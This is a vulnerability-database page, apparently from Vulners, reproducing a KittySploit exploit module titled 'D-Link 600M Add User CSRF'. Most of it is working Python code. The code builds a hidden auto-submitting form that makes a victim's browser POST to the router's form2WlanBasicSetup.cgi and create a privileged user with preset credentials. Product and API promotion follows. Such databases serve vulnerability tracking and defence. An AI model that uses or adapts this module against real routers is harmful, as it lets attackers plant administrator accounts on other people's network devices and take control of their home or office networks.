Lucene search
+L

D-Link 600M Add User CSRF

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

CSRF in D-Link 600M allows adding a user via a POST request to form2WlanBasicSetup.cgi.

Refs
Code
from kittysploit import *
from lib.protocols.http.csrf import Csrf

class Module(BrowserAuxiliary, Csrf):
	
	__info__ = {
		"name": "D-Link 600M Add User CSRF",
		"description": "D-Link 600M router - Add user via CSRF POST",
		"author": "KittySploit Team",
		"browser": Browser.ALL,
		"platform": Platform.ALL,
		"session_type": SessionType.BROWSER,
	}
	
	target = OptString("http://192.168.1.1", "Target router URL (with http://)", required=True)
	username = OptString("pwned", "Username to add", required=True)
	password = OptString("pwned", "Password for new user", required=True)

	def run(self):
		form_data = [
			f'<form method="POST" action="{self.target}/form2WlanBasicSetup.cgi">',
			f'<input type="hidden" name="username" value="{self.username}" />',
			f'<input type="hidden" name="privilege" value="2" />',
			f'<input type="hidden" name="newpass" value="{self.password}" />',
			f'<input type="hidden" name="confpass" value="{self.password}" />',
			f'<input type="hidden" name="adduser" value="Add" />',
			f'<input type="hidden" name="hiddenpass" value="" />',
			f'<input type="hidden" name="submit&#46;htm&#63;userconfig&#46;htm" value="Send" />',
			f'<input type="submit" value="Submit request" />',
			'</form>'
		]
		
		print_info(f"Executing CSRF POST attack on: {self.target}")
		print_info(f"Target: {self.target}/form2WlanBasicSetup.cgi")
		print_info(f"Username: {self.username}")
		print_info(f"Password: {self.password}")
		
		js_code = self.csrf_post_and_submit(form_data)
		result = self.send_js_and_wait_for_response(js_code, timeout=10.0)
		
		if result:
			print_success("CSRF POST attack executed successfully")
			print_info(f"Response: {result}")
			print_info(f"User creation request sent: {self.username}")
			return True
		else:
			fail.CSRFPostFailed()
		return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 2025 12:51Current
5.8Medium risk
Vulners AI Score5.8
0